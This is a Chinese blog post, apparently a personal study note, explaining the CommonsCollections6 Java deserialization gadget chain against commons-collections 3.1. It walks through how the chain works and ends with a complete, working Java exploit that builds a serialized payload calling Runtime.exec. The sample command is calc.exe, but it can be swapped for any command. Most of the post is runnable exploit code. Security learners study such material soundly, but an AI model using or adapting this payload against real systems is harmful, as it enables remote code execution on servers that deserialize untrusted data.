java反序列化----CC6利用链学习笔记(HashMap和HashSet)

发布时间 2023-11-19 18:56:35作者: BattleofZhongDinghe

java反序列化----CC6利用链学习笔记

环境配置

jdk8(无版本要求)
pom.xml中写入

        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.1</version>
        </dependency>

利用链

CC6在CC5的基础上稍作更改,CC5是用toString方法去触发getValue,而CC6是用hashCode方法触发getValue
需要URLDNS和CC5链的基础,再加上CC2的先用无害链触发的思路
java反序列化----URLDNS利用链学习
java反序列化----CC5利用链学习笔记
java反序列化----CC2利用链学习笔记(PriorityQueue和TemplatesImpl)
前半部分代码

        String cmd = "calc.exe";
        //构造恶意调用链
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap hashMap = new HashMap();
        LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedTransformer);

        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"test");

这里采用URLDNS链的思路,使用HashMap的put方法
现在我们需要找到一个类,重写了readObject方法并且调用了put方法
HashSet类是一个选择(或者用URLDNS链的基础可知,直接使用HashMap也可以)

所以再添加上这些就可以弹出计算器了

/*      //或者
        HashMap exp = new HashMap();
        exp.put(tiedMapEntry,"value");
*/
        HashSet hashSet = new HashSet();
        hashSet.add(tiedMapEntry);

        ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("cc6.txt"));
        oss.writeObject(tiedMapEntry);

        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc6.txt"));
        ois.readObject();

但是很容易发现在序列化的过程中就弹出计算器
用CC2无害链触发

package cc6;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;

public class CC6 {
    public static void main(String[] args) throws Exception{
        //先利用无害利用链触发掉
        Transformer[] transformers = new Transformer[] {new
                ConstantTransformer(1)};
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap innerMap = new HashMap();
        LazyMap outerMap = (LazyMap) LazyMap.decorate(innerMap,chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"key");
/*
        //方法1:
        HashMap exp = new HashMap();
        exp.put(tiedMapEntry,"value");
 */
        //方法2:
        HashSet exp = new HashSet();
        exp.add(tiedMapEntry);

        //构造恶意调用链
        String cmd = "calc.exe";
        Transformer[] transformers2 = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
        };

        //将chainedTransformer用反射将无害链替换成恶意链
        Class c = ChainedTransformer.class;
        Field field = c.getDeclaredField("iTransformers");
        field.setAccessible(true);
        field.set(chainedTransformer,transformers2);

        //序列化
        ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("cc6.txt"));
        oss.writeObject(exp);

        //反序列化
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc6.txt"));
        ois.readObject();

    }
}

但此时发现直接无法弹出计算器了
通过查看HashSet的源码发现其add方法本质上就是HashMap的put方法

然后查看LazyMap的get方法
if (map.containsKey(key) == false)
要通过if条件,需要本身没有密钥,所以可以用remove方法去除密钥
再添上 outerMap.remove("key");

所以最终EXP:

package cc6;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;

public class CC6 {
    public static void main(String[] args) throws Exception{
        //先利用无害利用链触发掉
        Transformer[] transformers = new Transformer[] {new
                ConstantTransformer(1)};
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap innerMap = new HashMap();
        LazyMap outerMap = (LazyMap) LazyMap.decorate(innerMap,chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"key");
/*
        //方法1:
        HashMap exp = new HashMap();
        exp.put(tiedMapEntry,"value");
 */
        //方法2:
        HashSet exp = new HashSet();
        exp.add(tiedMapEntry);

        outerMap.remove("key");

        //构造恶意调用链
        String cmd = "calc.exe";
        Transformer[] transformers2 = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
        };

        //将chainedTransformer用反射将无害链替换成恶意链
        Class c = ChainedTransformer.class;
        Field field = c.getDeclaredField("iTransformers");
        field.setAccessible(true);
        field.set(chainedTransformer,transformers2);

        //序列化
        ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("cc6.txt"));
        oss.writeObject(exp);

        //反序列化
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc6.txt"));
        ois.readObject();

    }
}